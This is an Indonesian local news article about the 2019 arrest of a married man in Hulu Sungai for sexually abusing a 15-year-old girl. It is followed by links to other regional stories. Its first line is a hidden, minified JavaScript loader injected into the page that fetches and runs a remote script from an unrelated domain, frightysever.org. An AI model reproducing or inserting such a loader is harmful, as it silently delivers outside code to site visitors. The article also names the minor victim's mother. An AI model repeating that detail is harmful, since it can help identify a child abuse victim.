(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Petualangan cinta terlarang Ansyari alias Aan (30) akhirnya berujung bui, setelah Unit Jatanras Polres Hulu Sungai Utara (HSU) bersama Polres Hulu Sungai Selatan (HSS) berhasil meringkusnya di sebuah rumah di Desa Panjampangan, Kecamatan Simpur, Kabupaten HSS pada Sabtu (5/10/2019).
Diringkusnya Aan, bersama barang bukti satu lembar seprai yang dipakai alas tidur, setelah pihak kepolisian menerima laporan atas dugaan pelaku telah melakukan pencabulan terhadap gadis AS (15) yang masih duduk di kelas II di sebuah Madrasah Tsanawiyah (MTs) di Kabupaten HSU.
Kapolres HSU melalui Kasatreskrim Iptu Kamarudin, kepada kanalkalimantan.com,Sabtu (5/10) mengatakan, pelaku Aan sempat membawa kabur AS dari rumah korban sejak Senin 9 September 2019.
Aan dan AS dikabarkan menjalin cinta, sehingga AS rela dibawa ‘kabur’ pelaku ke Kabupaten Kotabaru dan Hulu Sungai Selatan.
Dari informasi, tersangka Aan sendiri sudah mempunyai istri dan dua orang anak, sedangkan penangkapan tersangka Aan terjadi di Kandangan Kabupaten Hulu Sungai Selatan (HSS).
“Baru tadi pagi saat pelaku dan korban di rumah kakak lelaki, katanya sudah kawin siri, tapi sebelumnya yang lelaki ini sudah pernah bawa wanita lain, saat ini pelaku diamankan bersama anak itu di Kandangan,” ujar Iptu Kamarudin.
Menurutnya, walaupun Aan dan AS berhubungan intim atas dasar mencintai, polisi tetap memproses pidana terhadap Aan karena AS masih gadis di bawah umur.
“Meski suka sama suka, yang lelaki tetap kena pidana karena perempuannya anak di bawah umur, Kondisi anaknya masih perlu pendampingan karena lagi menangis,” ujar Kamarudin..
Drama percintaan terlarang antara Aan dan AS Ini sendiri berawal ketika AS dan temannya inisial R mendatangi rumah seorang guru sekolah di Desa Banyu Tajun Pangkalan, Kecamatan Sungai Pandan (Alabio), Kabupaten HSU pada Senin (9/9/2019) kemarin, pukul 18.30 Wita.
AS sudah meminta izin ke ibunya, Aliyah (38). AS dan R menumpang sepeda motor milik pelaku Aan untuk ke rumah gurunya.
Tidak berapa lama, korban kembali ke rumah sekitar pukul 19.30 Wita. Setelah mengantar temannya dan mengembalikan kendaraan milik pelaku Aan, Korban meminta izin kepada ibunya untuk kerja di tempat guru korban, namun mulai saat itulah AS menghilang dari keluarganya.
Atas terjadinya peristiwa itu, membuat ibu AS melaporkan kejadian tersebut ke Polsek Sunga Panda guna diproses lebih lanjut. (dew)
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More
This website uses cookies.